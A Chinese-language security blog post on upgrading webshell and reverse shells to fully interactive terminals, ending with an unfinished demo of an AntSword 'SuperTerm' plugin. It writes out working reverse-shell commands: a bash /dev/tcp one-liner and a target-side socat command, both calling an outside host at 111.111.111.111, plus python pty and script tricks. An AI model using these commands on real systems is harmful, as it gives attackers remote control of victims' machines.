WebShell下的交互式Shell

瞎折腾,开新坑,两年前计划在 AntSword 上做的东西,利用WebShell创建交互式终端,现在基本有个雏形了。

从webshell执行命令现状说起

这里我们主要都以 Linux 平台来说,Windows 的暂时先不提(主要是还没研究)。

web 脚本中执行命令

Webshell 里经常会看到一些 命令执行, 虚拟终端 之类的可以执行系统命令的功能,原理就是通过脚本语言自身提供的 system, popen, shell_exec 之类的函数来完成执行命令的目的。

这种方式不支持上下文,并且在面对一些需要用户交互的命令时,就显得很鸡肋了。比如说passwd命令:

1
2
3
root@localhost:/# passwd root
Enter new UNIX password: [这里需要用户按下键盘]
Retype new UNIX password: [这里需要用户按下键盘]

反弹 Shell 执行命令

后来,有了利用 nc 等工具反弹 shell 这种方式:

1
/bin/bash -i >& /dev/tcp/111.111.111.111/9999 0>&1

都知道用 nc 反弹回来的shell交互上多多少少会遇到一些问题,当你输入 tty 命令时,返回的还是 not a tty。虽然已经满足部分需求,但是不能用到 Tab补全,ctrl+L清屏等操作,尤其是ctrl+C,一不小心按下去,nc都结束掉了,又得重新反弹。

反弹 Shell 中获取交互式 Shell

为什么webshell反弹的 shell 无法交互 ?

我们能清晰的感受到,我在连接一台远程的 Linux 主机的时候,如果我使用的是 ssh 连接目标主机,在连接成功后,我可以使用 Tab 补全命令,可以使用 vimnano,可以使用top,htop,并且当我按下 Ctrl+C组合按键时,只会结束前台运行的进程,不会结束掉整个 ssh 会话。

究其原因,是因为没有 tty 这么个东西。当然,tty,pty,pts,ptmx,console 这几者有什么区别,有兴趣的读者可以自行查阅相关资料,这里不再深讲,也可以看一下下面这一篇文章:The TTY demystified 译文:解密TTY

总结下来就是,我们提到的这些个命令,在执行的时候,需要获取当前上下文环境中的 tty, 并根据 tty 的大小,来处理输出和输出。而脚本语言默认执行系统命令时,是没有获取 tty 的。

那么有没有办法反弹交互式 shell 回来呢?当然有了

python pty 方式

在 nc 反弹回来的 shell 中,如果发现对方机器上有 python 的话,那就爽了。

1
python -c '__import__("pty").spawn("/bin/bash")'

这种方式可以得到一个交互式的 Shell,确实方便了许多。

虽说绝大多数 Linux 下都有 python 环境,那么如果对方没有 python 的时候呢?比如说容器?

当然了,除了上面说的这种方式,如果目标有 python 的情况下,我们还可以使用 SSTIC 2018 上公开的开源工具 FFM 来增强反弹回来的 shell。

FFM 项目地址:https://github.com/JusticeRage/FFM

FFM 演示 PPT: http://manalyzer.org/static/talks/SSTIC2018.pptx

PPT 里面有操作的视频,感兴趣的同学可以下载了看一下

socat 反弹真正交互式的 Shell

socat是类Unix系统下的一个工具,可以看作是 nc 的加强版。我们可以使用socat来传递完整的带有tty的TCP连接。

说个题外话,在 CTF PWN 题目布署的时候,可以使用 socat 来将题目的输入输出转到网络接口上

直接说下怎么使用吧,虽然网上教程一抓一大把:

step1:在 vps 上监听:

1
$ socat file:`tty`,raw,echo=0 tcp-listen:9999

step2:把socat上传到目标机器上,然后执行:

1
$ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:111.111.111.111:9999

就可以得到一个完整的交互式shell了,非常方便。

有关反弹 shell 中获取交互式Shell的方法,有兴趣的朋友可以看一下这篇博文:
Upgrading simple shells to fully interactive TTYs,英文不好的同学也可以参考一下译文:将简单的shell升级为完全交互式的TTY

script 获取 pty

我们可以使用 Linux 系统下的 script 命令,在弹回来的 shell 下创建一个带有 tty 的 shell, 这样就可以勉强使用一下 topvim 了:

1
$ script /dev/null

如果不加 /dev/null 的话,会在当前路径下生成一个名字是 typescript 的文件,记录着在 script 生命周期里你执行的所有命令和结果。

呐,下面是执行之后的结果:

1
2
3
4
5
6
7
8
9
10
➜ nc -lv 9999
root@46958b799745:/tmp# tty
tty
not a tty
root@46958b799745:/tmp# script /dev/null
script /dev/null
# tty
tty
/dev/pts/1
#

MSF staekka Module 获取交互式 shell(未测试)

我在查阅资料的时候顺便发现了有个兄弟为 msf 写了一个交互shell的模块,由于时间关系,也没测试,留给有兴趣的朋友去研究啦。

staekka

AntSwrod SuperTerm 插件演示

下面是我们这篇文章的主角了,为了快速说明来意,我先放两个演示的视频

先看演示视频:

看不了的话,点原始链接:AntSword SuperTerm 交互式终端

SuperTerm 内网穿透演示

在内网穿透方面,演示环境里,hacker 和 victim 双方均处在自己的 nat 后面,也是比较常见的场景了:

看不了的话,点原始链接:AntSword SuperTerm 内网穿透

后记

文章还未编辑完,后面找时间再慢慢更新。